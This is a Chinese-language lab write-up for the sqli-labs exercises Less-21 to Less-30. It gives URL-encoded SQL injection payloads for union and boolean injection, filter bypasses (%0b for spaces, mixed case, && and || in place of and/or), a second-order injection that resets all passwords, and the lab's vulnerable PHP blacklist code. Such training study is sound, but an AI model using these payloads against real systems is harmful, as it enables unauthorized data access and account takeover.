Less-21:

依旧是 cookie 注入,只不过用 base64 编码了一下,也可以显注.

Less-22:

双引号

Less-23:

单引号报错,但是注释符都被过滤了,问题不大,我们自己把后面的单引号闭合掉就好了

payload:

id=-2%27%20union%20select%201,database(),%273

Less-24:

二次注入,注册一个用户名为:aaa’ or 1=1#的用户名

然后再重置密码

就可以修改所有用户的密码了

Less-25:

字符型注入

过滤了 and 和 or

可以用 && 和 || 替换

Less-25a:

数字型注入,其余同上

Less-26:

空格和注释被过滤,空格可以用%0a %09 %0b等替换,在这里 %0b 没有被过滤

payload:

id=100%27%0bunion%0bselect%0b1,database(),%273

有点好奇他是怎么过滤的,为什么0x0a(换行符) 0x09(tab) 都不行呢?

于是看了一下源码:

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

可以看到是用了正则表达式中的 \s 来过滤空格字符

看来 0x0b(垂直制表符)是不在正则表达式 \s 之中的,记一下

Less-26a:

比Less-26 多了个括号包裹

payload:

100%27)%0bunion%0bselect%0b1,database(),(%273

Less-27:

过滤了 union 和 select

可以大小写绕过

payload:

id=100%27%0bunIon%0bseleCt%0b1,database(),%273

Less-27a:

和上面的一样,只不过单引号变成双引号

payload:

id=0%22%0bunIon%0bseLect%0a%201,database(),%222

Less-28:

过滤了 union select 在一起的情况,尝试了大小写绕过,注释绕过等等方式都失败了,那干脆就不用 union 联合查询了么。。。改用布尔注入

payload:

id=1%27%0aand%0amid(database(),1,1)=%27s

脚本和之前写的一样,就不再发了

Less-28a:

上面的 payload 依然有效

那么比较一下两题的源码

Less-28:

过滤函数:

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

注入点部分:

if(isset($_GET['id']))
{
	$id=$_GET['id'];
	//fiddling with comments
	$id= blacklist($id);
	//echo "<br>";
	//echo $id;
	//echo "<br>";
	$hint=$id;

// connectivity 
	$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
    ......

原来注入点是有括号包裹的….,怪不得之前怎么绕 union select 都不行,那还记得上面我们学到的东西么

0x0b即可绕过正则的\s,

也就是Less-28也是可用 union 联合查询的,payload如下:

id=0%27)%0bunion%0bselect%0b1,2,(%273

那么为什么我们之前的 payload 没有闭合括号也能使用呢??

我们来看一下之前的 payload 拼接后的逻辑:

$sql="SELECT * FROM users WHERE id=('$id' and mid(database(),1,1)='s') LIMIT 0,1";

可以看到括号内是一个语法正确的布尔表达式,值为 0 或 1,即无论 $id 的值是多少,其查询的都是id字段为 0 或者 1 的数据,利用返回数据的差异,也可以进行注入。

回过头来继续看 Less-28a 的源码:

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}

过滤逻辑比28只少不多。。。怪不得payload还可以通用

Less-29:

他说他的站点被世界上最好的防火墙保护着,我觉得我受到了欺骗。。压根什么过滤都没有。。我还以为过滤了information_schema,特意查了一下table_name验证。。。。

Less-30:

双引号……